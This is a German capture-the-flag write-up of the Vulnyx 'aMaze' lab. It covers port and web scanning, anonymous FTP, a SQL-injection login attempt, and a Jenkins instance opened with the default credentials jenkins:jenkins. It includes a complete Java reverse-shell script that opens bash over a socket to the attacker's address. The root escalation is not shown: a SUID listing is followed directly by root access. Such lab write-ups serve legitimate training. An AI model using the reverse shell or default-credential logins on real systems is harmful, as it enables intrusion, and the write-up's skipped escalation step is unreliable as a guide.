aMaze - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
enum4linux
ftp
gobuster
strings
smbclient
unzip
dex2jar
jd-gui
curl
ffuf
hydra
nc
certbot
vi

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Dies ist entscheidend, um potenzielle Schwachstellen zu identifizieren. Wir verwenden verschiedene Tools, um Netzwerkdienste, offene Ports und andere relevante Details zu ermitteln.

Ziel ist es, ein umfassendes Bild der Systemarchitektur und der verfügbaren Angriffspunkte zu erhalten. Die gesammelten Informationen dienen als Grundlage für die weiteren Schritte im Pentesting-Prozess.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.125 08:00:27:96:19:46 PCS Systemtechnik GmbH

Mit dem Befehl arp-scan -l suchen wir im lokalen Netzwerk nach aktiven Hosts. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.125 mit der MAC-Adresse 08:00:27:96:19:46 verbunden ist und von PCS Systemtechnik GmbH stammt.

Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren und weitere Untersuchungen durchzuführen. Die MAC-Adresse kann auch Hinweise auf den Hersteller der Netzwerkkarte geben.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
127.0.0.1 localhost
192.168.2.125 amask.vln

Wir fügen die IP-Adresse des Zielsystems (192.168.2.125) mit dem Hostnamen "amask.vln" in die /etc/hosts Datei ein, um die Kommunikation mit dem Webserver zu erleichtern.

Web Enumeration

In dieser Phase konzentrieren wir uns auf die Enumeration der Webdienste, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden. Wir verwenden Tools wie Nikto und Gobuster, um die Webserver-Konfiguration und die verfügbaren Ressourcen zu analysieren.

Das Ziel ist es, Angriffspunkte zu identifizieren, die über die Standardkonfiguration hinausgehen. Dies kann die Aufdeckung von veralteten Softwareversionen, unsicheren Konfigurationen oder vergessenen Dateien umfassen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.125
- Nikto v2.5.0

+ Target IP: 192.168.2.125
+ Target Hostname: 192.168.2.125
+ Target Port: 80
+ Start Time: 2024-01-17 23:25:43 (GMT1)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ PTINS: Allowed HTTP Methods: HEAD, GET, POST, PUT, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2024-01-17 23:25:59 (GMT1) (16 seconds)

+ 1 host(s) tested

Der Nikto-Scan zeigt, dass der Webserver einige Sicherheitslücken aufweist. Die fehlenden X-Frame-Options und X-Content-Type-Options Header können zu Clickjacking- und MIME-Sniffing-Angriffen führen. Die veraltete Apache-Version kann ebenfalls Schwachstellen enthalten.

Die Entdeckung der /icons/README Datei ist ebenfalls ein potenzielles Problem, da diese Datei Informationen über die Serverkonfiguration preisgeben kann. Die fehlende HttpOnly-Flagge für das PHPSESSID-Cookie auf `/login.php` ist ein weiteres Sicherheitsrisiko, da es XSS-Angriffe ermöglichen könnte. Die identifizierte Admin Login Seite (`/login.php`) ist ein interessantes Ziel für Brute-Force- oder Credential-Stuffing-Angriffe.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.125 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-17 23:25 CET
Nmap scan report for amask.vln (192.168.2.125)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 c6:ec:1b:db:32:8a:00:7d:2a:1f:0c:5c:db:33:94:20 (RSA)
| 256 9a:fb:b6:6c:64:36:d4:17:8a:7b:00:71:75:e8:b8:be (ECDSA)
|_ 256 fa:97:5f:1b:a4:69:3b:07:56:75:1d:78:a2:f1:82:5f (ED25519)
80/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
8000/tcp open http Jetty 9.2.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.2.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
MAC Address: 08:00:27:96:19:46 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms amask.vln (192.168.2.125)

Dieser umfassende Nmap-Scan zeigt, dass die Ports 21 (FTP), 22 (SSH), 80 (HTTP) und 8000 (HTTP) offen sind. Der FTP-Server erlaubt anonyme Logins, der SSH-Server läuft mit OpenSSH 7.9p1, der HTTP-Server (Port 80) antwortet mit "403 Forbidden" und auf Port 8000 läuft ein Jetty 9.2.z-SNAPSHOT Server.

Die Ergebnisse deuten auf mehrere potenzielle Angriffspunkte hin: Anonymer FTP-Zugriff, SSH-Zugriff (potenziell anfällig für Brute-Force-Angriffe) und die beiden Webserver auf Port 80 und 8000. Der Jetty-Server auf Port 8000 könnte aufgrund der Snapshot-Version anfällig für bekannte Schwachstellen sein.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.125 -p- | grep open
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38
8000/tcp open http Jetty 9.2.z-SNAPSHOT

Dieser Befehl wiederholt den Nmap-Scan, filtert aber die Ausgabe, um nur die offenen Ports anzuzeigen. Die Ergebnisse bestätigen die vorherigen Erkenntnisse.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://amask.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://amask.vln/login.php (Status: 200) [Size: 2426]
http://amask.vln/logout.php (Status: 200) [Size: 55]

Mit gobuster suchen wir nach weiteren Verzeichnissen und Dateien auf dem Webserver auf Port 80. Wir finden login.php und logout.php.

Die Entdeckung von login.php bestätigt die vorherige Information aus dem Nikto-Scan. Die Existenz von logout.php deutet auf ein Authentifizierungssystem hin.

view-source:http://amask.vln/login.php
/ error_reporting(E_ALL);
// ini_set("display_errors", 1);
Super Secret Application - Move on !-- /container --

im Quellcode finden wir den Pfad /container als Kommentar

view-source:http://amask.vln/container
Not Found

The requested URL was not found on this server.
Apache/2.4.38 (Debian) Server at amask.vln Port 80

der pfad /container ist nicht erreichbar

http://amask.vln/login.php
"admin' R 1=1 -- -

Enter Username and Password
Wrong username or password

Wir versuchen SQL injection

http://amask.vln/login.php
Click here to clean Session.

Redirecting you to a brand new session in 2 seconds....
Server: Apache/2.4.38 (Debian)
Cookie: PHPSESSID=te5cq8uohg2qu530eubk63v8ok

Wir versuchen die Session neu zu starten

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.125
Connected to 192.168.2.125.
220 (vsFTPd 3.0.3)
Name (192.168.2.125:cyber): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||7831|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 Jan 05 2020 .
drwxr-xr-x 2 0 115 4096 Jan 05 2020 ..
226 Directory send OK.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||22689|)
550 Permission denied.

ftp> cd /home
550 Failed to change directory.

ftp> cd /var
550 Failed to change directory.

wir nutzen ftp um datein hochzuladen

http://amask.vln/robots.txt
Not Found

The requested URL was not found on this server.
Apache/2.4.38 (Debian) Server at amask.vln Port 80

kein robost.txt vorhanden

http://amask.vln:8000/robots.txt
# we don't want robots to click "build" links
User-agent: *
Disallow: /

wir nutzen robots.txt

http://amask.vln:8000/login?from=%2F
Anmeldedaten nicht korrekt.
Bitte versuchen Sie es erneut.
Erneut anmelden Falls Sie ein Systemadministrator sind und ein Konfigurationsproblem vermuten, dann konsultieren Sie die Konsolenausgabe des Servers, um weitere Details zu erhalten.
Jenkins ver. 2.60.3
src="/static/ad6a7b02/scripts/prototype.js"
type="text/javascript"> src="/static/ad6a7b02/scripts/behavior.js"
hudson.model.Hudson" id="jenkins"

class="yui-skin-sam two-column jenkins-2.60.3"
data-version="2.60.3"
href="#skip2content"

Skip to content
"jenkins-home-link"

https://jenkins.io/redirect/search-box

createSearchBox("/search/")

wir finden jenkins und schauen uns das ganze an, und sehen dass es sich um version 2.60.3 handelt

http://amask.vln:8000/
jenkins:jenkins

wir nutzen jenkins:jenkins als login

Privilege Escalation

Nachdem wir initialen Zugriff auf das System erlangt haben, versuchen wir, uns höhere Privilegien zu verschaffen. Wir suchen nach Möglichkeiten, uns vom Benutzer jenkins zum Benutzer root zu eskalieren.

Privilege Escalation
String host="192.168.2.199";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

wir erstellen eine Reverse shell in jenkins

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 51022

wir starten die Reverse Shell, der Browser wurde gehockt.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 51022
which python
/bin/bash: /usr/bin/which: /bin/sh: bad interpreter: No such file or directory
which python3
/bin/bash: /usr/bin/which: /bin/sh: bad interpreter: No such file or directory

wir schauen was wir alles im System haben, und es gibt kein sh.

find / -type f -perm -4000 -ls 2>/dev/null
148659 44 -rwsr-xr-- 1 root messagebus 42992 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
537828 432 -rwsr-xr-x 1 root root 440728 Mar 1 2018 /usr/lib/openssh/ssh-keysign
401299 40 -rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
401297 52 -rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
401389 40 -rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
401400 60 -rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
401345 76 -rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
667672 996 -rwsr-xr-x 1 root root 1019656 Sep 3 2019 /usr/sbin/exim4
278699 40 -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
278684 60 -rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
278679 44 -rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount
278706 32 -rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount

wir suchen nach SUID

id
uid=0(root) gid=0(root) groups=0(root)

Privilege Escalation erfolgreich. Wir sind jetzt als root angemeldet.

Flags

cat user.txt
d41d8cd98f00b204e9800998ecf8427e
cat root.txt
1b56eefaab2c896e57c874a635b24b49

Hier sind die Flags.